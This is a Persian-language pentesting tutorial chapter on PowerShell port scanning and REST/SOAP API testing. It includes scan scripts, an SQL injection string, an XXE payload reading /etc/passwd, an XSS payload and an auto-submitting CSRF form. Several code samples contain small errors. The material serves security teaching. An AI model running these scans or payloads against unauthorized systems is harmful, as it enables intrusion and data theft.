Enumerating open ports with Test-NetConnection 

  لتر یف   یبرا  PowerShellاز    د یتوانیباز است. شما م  یها پورت   Enumerationتست نفوذ،    هیاز اهداف اول  یکی

 : د یباز استفاده کن یهاپورت  شیکردن و نما

$RemoteHost = "192.168.1.100" 
$Ports = 1..65535 
$OpenPorts = foreach ($Port in $Ports) { 
     $Result = Test-NetConnection -ComputerName $RemoteHost -Port $Port 
     if ($Result.TcpTestSucceeded) { 
          $Port 
     } 
} 

ا پورت   Test-NetConnectionمثال،    نیدر  م  یهاتمام  اسکن  را  پورت ی ممکن  و  را    یهاکند  باز 

اتصال شبکه    صی تشخ  یکه در درجه اول برا  ی، در حالTest-NetConnectionد.  نماییم  ییشناسا

  ادهانجام اسکن پورت باشد. با استف  یبرا  گرانتست نفوذ  یبرا  یتواند ابزار ارزشمند ی شده است، م  یطراح
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توانند اطلاعات ی م گرانهدف، تست نفوذ   ستمیس   ک یخاص در    یهاپورت  تیوضع  یبررس   یآن برا  یهاتیاز قابل

نکته    ن یحال، توجه به ا  نیکنند. با ا  ی جمع آور   یتیامن  یهاو ضعف   ی احتمال  یهای ریپذ بیدر مورد آس   یمهم

انجام شود تا از هرگونه    یو اخلاق   ئولانه مس  یاوه یبا مجوز مناسب و به ش   شهیهم  د یمهم است که تست نفوذ با

قانون زمانTest-NetConnectionشود.    ی ریجلوگ  یاخلاق   ای  ی مشکل  ا  ی،  در  استفاده  دستورالعمل   نی که  ها 

 باشد. گرنفوذ  تست  کیدر جعبه ابزار   یی دارا ک ی تواند ی م شود،ی م

Single port scanning with .NET 

PowerShell  ک یتواند  ی م.NET Socket Objects  هدف ارتباط    زبانیم  کیپورت در    کیکند تا با    جادیا

 به مثال زیر توجه نمایید:برقرار کند. 

$RHost = "192.168.1.100" 
$Port = 80 
$TcpClient = New-Object System.Net.Sockets.TcpClient 
try { 
     $TcpClient.Connect($RHost, $Port) 
     Write-Host "Port $Port on $RHost is open." 
} 
catch { 
     Write-Host "Port $Port on $RHost is closed or filtered." 
} 
finally { 
     $TcpClient.Close()} 

ا به پورت مشخص شده در  ی م  یکند و سعی م  جادیا  TCP  نتیکلا  یش   کی  PowerShellمثال،    نیدر  کند 

 دهد.ی بسته بودن پورت را گزارش م ایهدف متصل شود. سپس باز  زبانیم

Multiple port scanning with .NET 

از    یستیتواند لی م  PowerShellهدف است.    ستمیس   کیپورت در    نیشامل اسکن چند   یتست نفوذ معمول   کی

 کند:   یها را بررس آن  تیو وضع  را اسکن نمودهها پورت
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$RHost = "192.168.1.100" 
$Ports = 80, 443, 22 
foreach ($Port in $Ports) { 
     $TcpClient = New-Object System.Net.Sockets.TcpClient 
     try { 
          $TcpClient.Connect($RHost, $Port) 
          Write-Host "Port $Port on $RHost is open." 
     } 
     catch { 
          Write-Host "Port $Port on $RHost is closed or filtered." 
     } 
     finally { 
          $TcpClient.Close()}} 

پورت   ی ستیل  PowerShell  پتیاسکر  نیا ماز  در  را  م  زبانی ها  اسکن  و وضعی هدف  گزارش  آن   تیکند  را  ها 

 کند.ی م

Enumerating all open ports with .NET 

  ی توان برا ی م PowerShellاست. از  یهدف ضرور  ستمیس  کیباز در  یهاتمام پورت  شناساییموارد،   یدر برخ

 ها استفاده کرد: از پورت یفیط کیستماتیاسکن س 

$RHost = "192.168.1.100" 
$StartPort = 1 
$EndPort = 65535 
for ($Port = $StartPort; $Port -le $EndPort; $Port++) { 
     $TcpClient = New-Object System.Net.Sockets.TcpClient 
     try { 
          $TcpClient.Connect($RHost, $Port) 
          Write-Host "Port $Port on $RHost is open." 
     } 
     catch {# Port is closed or filtered.} 
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     finally { 
          $TcpClient.Close()}} 

PowerShell   باز را    یهاکند و پورت ی هدف اسکن م  زبان یممکن را در م  یهاتمام پورت   کیستماتیبه طور س

 دهد.ی گزارش م

  ی زیهمه کاره و قابل برنامه ر  کرد یرو  ک ی  تست نفوذگران، به    PowerShellدر    NET.سوکت    اءیاستفاده از اش 

  ی دهد. اسکن پورت نقشیارائه م را    ،ی هک اخلاق  یهای ابیاز ارز  یات یح  یانجام اسکن پورت، به عنوان بخش  یبرا

به    NET Socket Objects.و    کند،ی م یهدف باز  ستمیس   کی بالقوه در    یهای ریپذب یآس   ییدر شناسا  یاساس 

 کنند.  یخودکار و سفارش  ، را به طور موثر  ند یفرآ  نیتا ا دهد ی امکان را م نیا کنندگان شیآزما

  ی و کسب مجوز مناسب ضرور   یو اخلاق  یقانون  یهادستورالعمل  تینفوذ مسئولانه، رعا  یهاانجام تست با این حال  

به عنوان ابزار   PowerShellدر   NET Socket Objects.شود، ی که به طور مسئولانه استفاده م  یاست. هنگام

  ت یامن  تیکند و در نهای ها عمل مشبکه ها و  ستمیس   یت ی امن  تیوضع  یابیارز  تست نفوذگران جهت  یبرا  یقدرتمند 

 دهد.ی م  شیرا افزا

UDP port scanning using PowerShell 

هدف    زبانیدر م  ی خاص  یهابه پورت   UDP  یهاشامل ارسال بسته   PowerShellدر    UDPانجام اسکن پورت  

را   UDPبدون اتصال است، که اسکن پورت  TCP ،UDPها است. برخلاف بسته بودن آن پورت  ایباز   نییتع یبرا

  ک ی   ادامهندارد. در    دپورت وجو  تیوضع  د ییتا  یبراای    Handshake  چیه  رایز  کند،ی م   زتریبرانگ چالش  یکم

 آورده شده است:  PowerShellروش ساده با استفاده از 

$RHost = "192.168.1.100" 
$Ports = 53, 67, 123 
foreach ($Port in $Ports) { 
     $UdpClient = New-Object System.Net.Sockets.UdpClient 
     try { 
          $UdpClient.Connect($RHost, $Port) 
          $UdpClient.Send([byte[]](0), 0, 0) 
          Write-Host "UDP Port $Port open - $RHost" 
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     } 
     catch { 
          Write-Host "UDP Port $Port closed - $Host." 
     } 
     finally { 
          $UdpClient.Close()}} 

  ک یکند و ی م  جاد یا UDP  کلاینت  ی ش  ک یشود، ی مشخص شده تکرار م UDP یهاپورت  ق یاز طر پتیاسکر نیا

است که    یمعن   نیثبت شود، به ا  ند ی استثنا در طول فرآ  کی کند. اگر  ی به هر پورت ارسال م  ی خال  UDPبسته  

 شود.ی مطرح نشود، پورت باز در نظر گرفته م ییاستثنا چ یشده است. اگر ه لتریف ایپورت بسته 

  د ییتا  یهاسمیمکان  UDP  رایقابل اعتماد باشد، ز  TCPتواند کمتر از اسکن  ی م  UDPکه اسکن    د یتوجه داشته باش 

پاسخ   UDP  یخال  یهاباز ممکن است به بسته   UDP  یهااز پورت   یدهد. برخیرا ارائه نم  TCPو پاسخ مشابه  

توانند بر دقت اسکن  ی شبکه م  لتریها و فروال یفا  ن،یشود. علاوه بر ا  False Positiveمنجر به    تواند ی ندهند، که م 

  ی برا  یتری تخصص یو از ابزارها د یحاصل کن نانیاز داشتن مجوز مناسب اطم شهیبگذارند. هم ریتأث UDPپورت 

 . د یجامع تست نفوذ استفاده کن یکارها

Using PowerShell tools for port scanning 

باز    نیچند  از اسکن پورت    PowerShellابزار منبع    ر یز  لینک کند.  ی م  یبانیپشت  TCP/UDPوجود دارد که 

 است:  PowerShellاز ابزار اسکن  یانمونه 

 https://github.com/BornToBeRoot/ PowerShell_IPv4PortScanner 

IPv4PortScan  ابزار اسکن    ک یTCP  دهد تا محدوده پورت مورد اسکن را  ی ناهمزمان است که به کاربر اجازه م

 است: ر یکند. خط فرمان ابزار به صورت ز  فیتعر

.\IPv4PortScan.ps1 [-ComputerName] <String> [[-StartPort] 
<Int32>] [[-EndPort] <Int32>] [[-Threads] <Int32>] [[-Force]] 
[<CommonParameters>] 

 : کرد  میاستفاده خواه در سیستم مورد نظرپورت اول  500اسکن  ی ابزار برا نیدر ادامه از ا
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 دیتوانی ابزار را م   ن یکند. ایم   د یرا تقل  Nmap  ی از عملکردها  ی است که برخ  TCPابزار اسکنر پورت    ک ی  PS2ابزار  

 .د یدانلود کن https://github.com/nccgroup/PS2در  

اسکن    نیا از  بردار   ن یو همچن  UDPو    TCPابزار  از    ک یاز    ینقشه  استفاده  با    tracerouteتابع    ک یشبکه 

 کرد:  میاستفاده خواه جیرا TCPپورت  1000اسکن  یابزار برا نیکند. در ادامه، از ای م یبانیپشت

PS C:\>ps2.ps1 -sT -i 192.168.1.1 

 : میکنی استفاده م TCP یهااسکن تمام پورت  یبرا یاز ابزار  ر، یدر مثال ز

PS C:\>ps2.ps1 -sT -p (1..65535) -i 192.168.1.1 

 کرد:  م یاستفاده خواه UDP جیپورت را 1000اسکن  ی ابزار برا نیما از ا ت،یدر نها

PS C:\>ps2.ps1 -sU -i 192.168.1.1 

  ار یرا در اخت  TCP/UDPاسکن پورت    یساده و قدرتمند برا  یابزارها  جادی ا  ییتوانا  PowerShellبه طور خلاصه،  

م قرار  نشان دادهی ما  ما  ازمی   که چگونه   میادهد.  و یکاستفاده    هاcmdlet  توان  .  کرد  ایجاد   پتیاسکر  نموده 

  ک یتا در    سازند ی ابزارها ما را قادر م  نیاستفاده کند. ا  NET.از توابع    تواند ی م  PowerShellچگونه  همچنین  

زم در  نفوذ  تکنیک  میکن  ی زندگ  نیتست  از  استفاده  از    Living off the Landهای  )منظور  استفاده  و عدم 

 . میبه حداقل برسان م،ی کن ی بانیپشت یتی تست امن ک یدر   د یرا که با  ییو تعداد ابزارها  (ابزارهای خارجی است

Summary 

بود.    ی شبکه قو  یت یامن  یاب یو ارز  ییشناسا  ی برا  PowerShellکاوش جامع در مورد استفاده از    ک یفصل    نیا

به طور کارآمد    هاسیها و سرودستگاه   Enumeration  یرا برا  PowerShellاستفاده از    یفصل چگونگ   نیا

 . دهد ی نشان م

.  کند ی م  د یتأک  یریپذ بیآس   یابیآن در ارز  یاتیبه حوزه اسکن پورت پرداخته و بر نقش ح   شتریفصل ب  نیا

قدرت    نیا دادن  نشان  با  استراتژ  ی برا  PowerShellفصل  پورت،  برا  ییهای اسکن    یی شناسا  ی را 
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شما    یواقع  یایدن  یوهایو سنار  یعمل  یهاکرد. نمونه   یبالقوه معرف   یهایریپذ بیو آس   هاس یباز، سرو  یهاپورت

  ی مقاصد دفاع  ی . چه براد ی کن  تیشبکه را تقو  تیدهند تا امنی کنند و به شما قدرت می م  زیتجه  یرا با تجربه عمل

  Enumerationاز    ی قیو درک دق  کند یمنبع ارزشمند عمل م کیفصل به عنوان   نیا  ،یهک اخلاق   یو چه برا

 .کند ی ارائه م PowerShell کاره همه   یهات یشبکه و اسکن پورت با استفاده از قابل

  اد ی  را  هاSOAP APIو    REST  ی در هنگام انجام تست نفوذ رو  PowerShellدر فصل بعد، نحوه استفاده از  

 گرفت.  میخواه
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 The WEB, REST, and SOAP -  فصل پنجم

پردازد. ما با  می   SOAPهای  APIو    RESTهنگام انجام تست نفوذ روی    PowerShellاین فصل به استفاده از  

اینکه چگونه می  از  توضیح  استفاده کنیم،    XMLو    JSONبرای رمزگذاری و رمزگشایی    PowerShellتوانیم 

های  هستند. در بخش   SOAP APIو    RESTفناوری های اصلی در رابطه با    XMLو    JSONشروع خواهیم کرد.  

  SOAPهای  APIو    RESTدر رابطه    OWASPرا به عنوان بخشی از تست    PowerShellبعدی، نحوه استفاده از  

 توضیح خواهیم داد. 

 در زیر موضوعات اصلی مورد بررسی در این فصل آمده است:

• PowerShell and the web 
• Encoding JSON and XML in PowerShell 

• PowerShell and REST 

• PowerShell and SOAP 

PowerShell and the web 

PowerShell    که ابتدا توسط مایکروسافت به عنوان یک چارچوب مدیریت پیکربندی و اتوماسیون کار توسعه

های ، به یک زبان برنامه نویسی همه کاره تبدیل شده است که نقش مهمی در ارزیابی امنیت برنامه ه بودداده شد 

های آن فراتر از اتوماسیون و مدیریت است و آن را به ابزاری ضروری  کند. قابلیتایفا می  SOAPو    RESTوب،  

کند. در این بخش، به این  های امنیتی کامل تبدیل می برای متخصصان امنیت سایبری در هنگام انجام ارزیابی 

پرداخت که چگونه   امی   PowerShellخواهیم  بخشی  عنوان  به  موثر  به طور  برنامه وب،  تواند  امنیت  تست  ز 

REST  وSOAP .استفاده شود 

Web application security testing with PowerShell 

های کاربردی وب در این فصل، به قلمرو امنیت سایبری  و تست امنیت برنامه   PowerShellبا ترکیب قدرتمند  

های وب شما را  تواند برنامه می   PowerShellپیشگیرانه کاوش کنید. کشف کنید که چگونه قدرت برنامه نویسی  

های امنیتی قوی، این کاوش  ها تا اجرای پروتکلپذیریدر برابر تهدیدات احتمالی تقویت کند. از شناسایی آسیب 

ارزیابی  انجام  برای  ابزارهایی  با  امنیتی کامل مجهز می مدیران را  های های دنیای واقعی و بینش کند. مثال های 

پذیری را افزایش  کارایی وظایفی مانند تست نفوذ و اسکن آسیب PowerShellد که چگونه  دهنعملی نشان می 

 در این زمینه می پردازیم:  PowerShellهای دهد. در ادامه به برخی از قابلیتمی 

Automated Scanning:  PowerShell  های  به عنوان یک پلتفرم عالی برای خودکار کردن اسکن

برنامه  کارامنیتی  می های  عمل  وب  آزمایشبردی  می کند.  اسکن  کنندگان  مختلف  ابزارهای  توانند 
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برای اسکن    PowerShellهای  را با اسکریپت   Nessusیا    OWASP ZAP  ،Burp Suiteپذیری مانند  آسیب

و غیره ادغام کنند.    SQL injection  ،Cross-Site Scripting (XSS)هایی مانند  پذیریها برای آسیبسایتوب

ها، بهینه سازی زمان و  امکان سفارشی سازی و زمان بندی اسکن  PowerShellهای اسکریپت نویسی  یتقابل

 کند.تضمین پوشش جامع را فراهم می 

Data Extraction and Analysis:    تواناییPowerShell   های  در ایجاد درخواستHTTP    و تجزیه محتوای

HTML   طول تست امنیتی بسیار ارزشمند است. آزمایش کنندگان    ها دربرای استخراج و تجزیه و تحلیل داده

امنیتی پنهان استفاده کنند. این  می  برای واکشی صفحات وب، استخراج اطلاعات و کشف مسائل  از آن  توانند 

های  ها برای شناسایی دایرکتوری سایت  Crawlingهای حساس،  موضوع شامل بررسی قرار گرفتن در معرض داده 

 های امنیتی بالقوه است.پذیری و تحلیل جاوا اسکریپت برای آسیبمخفی، یا تجزیه  

Password Bruteforcing and Enumeration :  های  از اسکریپتPowerShell   توان برای حملات  می

brute force  دهد تا رمزهای عبور ضعیف یا قابل حدس را  پسورد استفاده کرد و به آزمایش کنندگان اجازه می

 کند.های دسترسی کمک می های ورود و کنترل در یک برنامه وب شناسایی کنند. این به ارزیابی قدرت سیستم

Custom Exploitation:   اسکریپتانعطاف پیلودهای  PowerShellنویسی  پذیری  برای    ایجاد  را  سفارشی 

سازد. برای مثال، یک تست نفوذگر  پذیر میهای کشف شده در طول آزمایش امکان پذیریبرداری از آسیب بهره

با اجرای کد دلخواه در یک    XSSپذیری  برای نشان دادن تأثیر یک آسیب  PowerShellتواند یک اسکریپت  می 

 برنامه وب ایجاد کند. 

Web Application Firewall (WAF) Bypass :   می امنیتی  از  متخصصان  برای    PowerShellتوانند 

ها استفاده کنند.  برای دور زدن آن  Bypassهای ها با ایجاد پیلودهای مخرب و تکنیک WAFآزمایش اثربخشی 

 کند.های دفاعی خود کمک می ها در تقویت مکانیسماین به سازمان 

Authentication and Session Management Testing:  PowerShell  تواند سناریوهای مختلف  می

های مدیریت جلسه را شبیه سازی کند. این به شناسایی یا آزمایش مکانیسم   brute forcingاحراز هویت مانند  

 کند.های دسترسی و مدیریت کاربر کمک می نقاط ضعف در کنترل 

Reporting and Documentation:   های  اسکریپتPowerShell   های آزمایشی  تولید گزارش توانند  می

شده را خودکار کنند.  ها و مراحل اصلاح توصیه شده، شدت آن های کشف پذیریدقیق، از جمله آسیب 

کند که نتایج آزمایش برای ارتباط با ذینفعان و برای اهداف انطباق به خوبی مستند شده  این تضمین می 

 است. 



 
 

 
 

 پاورشل برای تست نفوذ آشنایی با 

Securityworld.ir  شرکت دهکده امن فناورانه صبا 

REST application security testing with PowerShell 

آغاز کنید. در    PowerShellهای پویا  خود با استفاده از قابلیت   RESTهای  ماموریتی را برای تقویت امنیت برنامه 

  RESTfulهای    APIو تست امنیتی قوی برای    PowerShellاین فصل، ما رابطه همزیستی بین اسکریپت نویسی  

بررسی می  نمایشرا  با  و سناریوهای دنیای  کنیم.  بینش های عملی  از  واقعی، مدیران  استفاده  را در مورد  هایی 

PowerShell  توان استفاده  آورند. مواردی که در این مورد می های امنیتی موثر به دست می برای انجام ارزیابی

 نمود عبارتند از: 

API Endpoint Testing:  تواناییPowerShell های برای ارسال درخواستHTTP   برای آزمایشAPI   های

REST  هایی را برای تعامل با نقاط پایانی  توانند اسکریپتکنندگان می بسیار ارزشمند است. آزمایشAPI  ارسال ،

) انواع مختلف درخواست  امنیت داده GET  ،POST  ،PUT  ،DELETEها  ارزیابی  برای  و  (  ورودی، خروجی  های 

 های احراز هویت بسازند.مکانیزم

Authentication and Authorization Testing:  PowerShell   با احراز  می تواند سناریوهای مرتبط 

دهد  کنندگان اجازه می شبیه سازی کند. این به آزمایش  RESTهای    APIهویت و تعین سطح دسترسی را در برابر  

چگونه   که  کنند  بررسی  توکن   APIتا  نقش با  مدیر ها،  هویت  احراز  مجوزهای  و  می ها  گونه  یت  هر  و  شوند 

 کند.پذیری یا مسائل کنترل دسترسی را شناسایی می آسیب

Input Validation Testing  :  ازPowerShell   ها برای اعتبارسنجی ورودی  توان برای خودکارسازی تستمی

هایی  پذیریباستفاده کرد. این به شناسایی آسی  APIها به نقاط پایانی  با ارسال پیلودهای مختلف و انواع داده 

 کند.ها کمک می یا دستکاری داده  SQLمانند تزریق 

Load and Performance Testing:   های  اسکریپتPowerShell   درخواست  می چندین    APIتوانند 

تحت بارگذاری و    REST APIسازند تا نحوه عملکرد  کنندگان را قادر میسازی کنند و آزمایشهمزمان را شبیه 

 است را ارزیابی کنند.  Denial-of-Service (DoS)حملات   اینکه آیا در معرض

SOAP application security testing with PowerShell 

مورد ارزیابی قرار داده و    PowerShellهای پویا  خود را با قابلیت  SOAPتوانید امنیت برنامه  در این فصل می 

و تست امنیتی قوی پرده برداری نموده و مدیران    PowerShellافزایش دهید. از هم افزایی بین اسکریپت نویسی  

مجهز کنید. مواردی که در این مورد    SOAPهای مبتنی بر    APIهای کامل بر روی  را برای انجام ارزیابی 

 توان استفاده نمود عبارتند از:می 
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SOAP Endpoint Testing:  PowerShell   های وب مبتنی بر  تواند با سرویس همچنین میSOAP    تعامل

باشد. آزمایش برای ارسال درخواستتوانند اسکریپتکنندگان می داشته  را  ، آزمایش متدهای  SOAPهای  هایی 

 های امنیتی ایجاد کنند.پذیریها برای آسیب مختلف و تجزیه و تحلیل پاسخ

XML Data Parsing:  SOAP  داده تبادل  به    برای  شدت  تجزیه    XMLبه  قابلیت  است.   XMLمتکی 

PowerShell  پاسخ تحلیل  و  تجزیه  پیلودهای  برای  و  تزریق    SOAPها  مانند  امنیتی،  مسائل  برای شناسایی 

XML  یا حملاتXXE   .مفید است 

Authentication and Encryption Testing :    ازPowerShell   چگونه  می اینکه  آزمایش  برای  توان 

رمزگذاری داده   SOAP  هایسرویس و  را مدیریت می احراز هویت  استفاده میها  اطمینان حاصل  کنند،  شود و 

 شوند. کند که اطلاعات حساس به اندازه کافی در طول انتقال محافظت می می 

Boundary Testing:  های  اسکریپتPowerShell   را خودکار کنند، درخواست می های توانند تست مرزی 

SOAP های های شدید یا غیرمنتظره ارسال کنند تا نحوه رسیدگی سرویس به موارد لبه و ضعف یر داده را با مقاد

 امنیتی احتمالی را ارزیابی نمایند.

های های امنیتی برنامه یک ابزار ضروری برای متخصصان امنیتی هنگام انجام تست  PowerShellبه طور خلاصه،  

های اتوماسیون و امکانات یکپارچه سازی آن با سایر ابزارهای  تاست. تطبیق پذیری، قابلی  SOAPو    RESTوب،  

می  قادر  را  کنندگان  آزمایش  ارزیابی امنیتی،  تا  آسیب سازد  دهند،  انجام  کاملی  و  پذیریهای  کنند  را کشف  ها 

و  ضروری است،    PowerShellها را افزایش دهند. با این حال، استفاده مسئولانه از  وضعیت امنیتی این برنامه 

های قانونی و اخلاقی بوده و همچنین با  های آزمایشی در محدوده بایست اطمینان حاصل شود که تمام فعالیت می 

 شوند. مجوز مناسب از صاحب برنامه یا سازمان انجام می 

Encoding JSON and XML in PowerShell 

داده  رمزگشایی  و  رمزگذاری  نفوذ،  تست  و    PowerShellدر    XMLو    JSONهای  در  تحلیل  و  تجزیه  برای 

ها ضروری است. در ادامه به نحوه انجام این وظایف پرداخته    APIهای کاربردی وب و  های برنامهدستکاری پاسخ

 شده است.

Encoding JSON in PowerShell 

JSON   شود. برای رمزگذاری  فرمت رایجی است که برای تبادل داده بین کلاینت و سرور استفاده می

 ، مراحل زیر را دنبال کنید: PowerShellدر    JSONصورت ها به داده 
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Create a PowerShell Object:    با ایجاد یک شیPowerShell   خواهید هایی را که می شروع کنید که داده

، شی سفارشی یا یک آرایه  hashtableتواند یک  دارد. این شی می رمزگذاری کنید، نگه می   JSONبه عنوان  

 مثال است:باشد. در اینجا یک 

$data = @{ 
     Username = "ajcblyth" 
     PassCode = 9816 } 

Encode to JSON:    ازcmdlet ConvertTo-Json    برای تبدیل شیPowerShell   ای با فرمت  به رشته

JSON  :استفاده کنید 

$jsonString = $data | ConvertTo-Json 

Optional Formatting :   بندی را به  توانید پارامترهای قالب میConvertTo-Json    اضافه کنید تا عمق و

 را کنترل کنید و آن را خواناتر نمایید:  JSONبندی خروجی قالب

$jsonString = $data | ConvertTo-Json -Depth 2 -Pretty 

Decoding JSON in PowerShell 

های  از برنامه   JSONهای  برای تست نفوذ، اغلب با پاسخ  PowerShellدر    JSONهای  داده   Decodingبرای  

 ها را تجزیه و تحلیل کنید:شوید که باید آن هایی مواجه می APIکاربردی وب یا 

Retrieve JSON Data:   های دادهJSON  را از یک درخواستHTTP :فایل یا منبع دیگری دریافت کنید ، 

$jsonString = Invoke-RestMethod -Uri "https://snowcapcyber.com/ 
api/data" -Method GET 

Decode JSON:    ازConvertFrom-Json    برایDecoding    رشتهJSON    شی یک    PowerShellبه 

 استفاده کنید: 
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$decodedData = $jsonString | ConvertFrom-Json 

Access Data  : توانید مانند هر شیء دیگر  اکنون میPowerShell   های موجود در شی  به دادهDecode    شده

 دسترسی داشته باشید:

$name = $decodedData.Username 
$age = $decodedData.PassCode 

Encoding XML in PowerShell 

XML   برای تبادل داده استفاده می برای  فرمت دیگری است که  در    XMLها به عنوان  اده د  Encodingشود. 

PowerShell :مراحل زیر را دنبال کنید ، 

Create an XML Object:   ازNew-Object  برای ایجاد یک سندXML :استفاده کنید 

$xml = New-Object System.Xml.XmlDocument 

Add Data to XML:  سندXML  ایجاد کنید: ها را توانید عناصر و ویژگیها پر کنید. شما می را با داده 

$root = $xml.CreateElement("Person") 
$xml.AppendChild($root) 
$name = $xml.CreateElement("Username") 
$name.InnerText = "ajcblyth" 
$root.AppendChild($name) 
$code = $xml.CreateElement("PassCode") 
$code.InnerText = "9816" 
$root.AppendChild($age) 

Convert XML to String:   از ویژگیOuterXml  برای تبدیل سندXML  :به رشته استفاده کنید 

$xmlString = $xml.OuterXml 

Decoding XML in PowerShell 

 در طول تست نفوذ، مراحل زیر را دنبال کنید:   PowerShellدر   XMLهای داده  Decodingبرای 
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Retrieve XML Data:  های دادهXML  را از یک درخواستHTTP :فایل یا منبع دیگری دریافت کنید ، 

$xmlString = Get-Content -Path "userdetails.xml" 

Load XML  :  از متدLoadXml   بارگذاری داده استفاده    PowerShell XMLدر یک سند    XMLهای  برای 

 کنید:

$xml = New-Object System.Xml.XmlDocument 
$xml.LoadXml($xmlString) 

Access Data:   ها را از سند توانید داده در صورت نیاز میXML :پیمایش و استخراج کنید 

$name = $xml.SelectSingleNode("//Username").InnerText 
$code = $xml.SelectSingleNode("//PassCode").InnerText 

توانند  ، تست نفوذگران می PowerShellدر    XMLو    JSONمربوط به     Decodingو  Encodingبا تسلط بر  

های  ها را در طول ارزیابی ها را شناسایی کنند و دادهپذیریها را تجزیه و تحلیل کنند، آسیب به طور موثر پاسخ

ها برای ارزیابی  های کاربردی وب باشد، این تکنیک ها یا برنامه REST APIامنیتی دستکاری کنند. چه ارزیابی  

دارند ضروری هستند. هنگام انجام تست    Mitigationای که نیاز به  مسائل بالقوه  های امنیتی و شناساییکنترل 

 های اخلاقی پایبند باشید.نفوذ، همیشه از داشتن مجوز مناسب اطمینان حاصل کنید و به دستورالعمل 

PowerShell and REST 

تست نفوذ یک رویکرد  برای    PowerShellدر    Representational State Transfer (REST)استفاده از  

توانند  ، تست نفوذگران می RESTful APIهای وب است. با تعامل با  ها و سرویس ارزشمند برای ارزیابی امنیت برنامه 

توانند توسط عوامل مخرب مورد سوء استفاده قرار گیرند، شناسایی کنند.  ها و نقاط ضعفی را که می پذیریآسیب

را برای تست نفوذ در حالی که تجزیه و تحلیل خود را با چارچوب    PowerShellدر    RESTبیایید نحوه استفاده از  

Open Web Application Security Project (OWASP) های ، یک منبع شناخته شده برای امنیت برنامه

 کنیم، بررسی کنیم. وب، همسو می 

OWASP analysis – injection 

Objective:  های تزریق را در  پذیریآسیبAPI   هایREST  .تست کنید 
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Methodology :   توانید از  میPowerShell    برای ایجاد ورودی مخرب استفاده کنید و آن را به عنوان بخشی

  OSیا تزریق دستور    NoSQL، تزریق  SQLهای تزریق مانند تزریق  پذیریاز یک درخواست برای آزمایش آسیب 

 زیر را داریم: SQLارسال کنید. به عنوان مثال ما تست تزریق 

$uri = "https://api.snowcapcyber.com/resource" 
$queryParam = "inputValue' OR '1'='1" 
$response = Invoke-RestMethod -Uri "$uri?param=$queryParam" -Method 
GET 

OWASP analysis – broken authentication 

Objective:   احراز هویت و مدیریت جلسه را درREST API .ارزیابی کنید 

Methodology:   توانید از  میPowerShell   ها های احراز هویت و تجزیه و تحلیل پاسخبرای ارسال درخواست

 استفاده کنید. به عنوان مثال، تأیید اعتبار ضعیف آزمایش زیر را داریم: 

$uri = "https:// api.snowcapcyber.com/authenticate" 
$headers = @{ 
 "Authorization" = "Basic <base64EncodedCredentials>" } 
$response = Invoke-RestMethod -Uri $uri -Method GET -Headers $headers 

OWASP analysis – sensitive data exposure 

Objective:  های های حساس در پاسخارزیابی کنید که آیا دادهAPI  گیرند یا خیر. در معرض دید قرار می 

Methodology:    ازPowerShell  ها برای قرار گرفتن در  ها و تجزیه و تحلیل پاسخبرای ارسال درخواست

ها توانیم از عبارات منظم برای فیلتر کردن کوئری های ناخواسته استفاده کنید. لازم به ذکر است که می معرض داده 

ها ت اعتباری در پاسخاستفاده کنیم. برای مثال، بررسی کنید که آیا اطلاعات حساسی مانند رمز عبور یا شماره کار

 وجود دارد یا خیر: 

$uri = "https:// api.snowcapcyber.com/resource" 
$response = Invoke-RestMethod -Uri $uri -Method GET 

OWASP analysis – XML External Entities (XXE) 

Objective:  های مرتبط با پذیریآسیبXML   مانندXXE   را درAPI   هایRESTful .تست کنید 
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Methodology :    ازPowerShell   پیلودهای  می ارسال  برای  به    XMLتوان  تجزیه و تحلیل    APIمخرب  و 

 داریم:   XXEها استفاده کرد. به عنوان مثال ما آزمایش زیر را برای پاسخ

$uri = "https://api.snowcapcyber.com/resource" 
$xmlPayload = '<?xml version="1.0" encoding="UTF-8" ?><!DOCTYPE foo [ 
<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]><foo>&xxe;</foo>' 
$headers = @{ 
     "Content-Type" = "application/xml" } 
$response = Invoke-RestMethod -Uri $uri -Method POST -Headers $headers 
-Body $xmlPayload 

OWASP analysis – broken access control 

Objective:   تست کنید آیاAPI  کند یا خیر.های دسترسی مناسب را اعمال می کنترل 

Methodology:    ازPowerShell  هایی با سطوح مختلف مجوز استفاده کنید و تجزیه  برای ارسال درخواست

وانند به منابع محدود دسترسی داشته باشند یا خیر. به عنوان مثال،  تو تحلیل کنید که آیا کاربران غیرمجاز می 

 های دسترسی ناکافی را آزمایش کنید:توانید کنترل می 

$uri = "https://api.snowcapcyber.com/restricted-resource" 
$headers = @{ 
     "Authorization" = "Bearer <accessToken>" } 
$response = Invoke-RestMethod -Uri $uri -Method GET -Headers $headers 

OWASP analysis – security misconfiguration 

Objective:   پیکربندی نادرست امنیتی درAPI  .را شناسایی کنید 

Methodology:    ازPowerShell   های  ها برای نشانهها و تجزیه و تحلیل پاسختوان برای ارسال درخواست می

 فرض استفاده کرد: های پیشآشکار یا اعتبارنامه  Debugپیکربندی نادرست مانند اطلاعات 

$uri = "https://api.snowcapcyber.com/debug-info" 
$response = Invoke-RestMethod -Uri $uri -Method GET 

OWASP analysis – Cross-Site Scripting (XSS) 

Objective:  های پذیریآسیبXSS  های را در پاسخREST API  .تست کنید 
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Methodology :    ازPowerShell   ها در درخواست استفاده کنید.  برای ایجاد پیلودهای مخرب و ارسال آن

ها را تجزیه و تحلیل کنید. به  ، پاسخStoredیا    Reflectedاز نوع    XSSپذیری  برای شناسایی هر گونه آسیب

 را آزمایش کنید:  Reflectedاز نوع   XSSتوانید  ی عنوان مثال، م

$uri = "https://api.example.com/search" 
$searchQuery = '<script>alert("XSS");</script>' 
$response = Invoke-RestMethod -Uri "$uri?q=$searchQuery" -Method GET 

OWASP analysis – Cross-Site Request Forgery (CSRF) 

Objective:  API های پذیریرا برای آسیبCSRF  .ارزیابی کنید 

Methodology:    صفحاتHTML    مخرب را با پیلودهایCSRF    درPowerShell    ایجاد کنید و کاربران را

را زیر    APIهای  ، پاسخCSRFها تعامل داشته باشند. برای تعیین موفقیت آمیز بودن حملات  فریب دهید تا با آن 

 بگیرید. به مثال زیر توجه کنید:نظر 

$html = @" 
<html> 
     <body> 
          <form id="maliciousForm" action="https://api.snowcapcyber.com/ 
action" method="POST"> 
               <input type="hidden" name="csrfToken" value="attackerToken"> 
          </form> 
          <script> 
               document.getElementById("maliciousForm").submit(); 
          </script> 
     </body> 
</html> 
"@ 

OWASP analysis – unvalidated redirects and forwards 

Objective:    تغییر مسیرها و فورواردهای نامعتبر درAPI  .را آزمایش کنید 

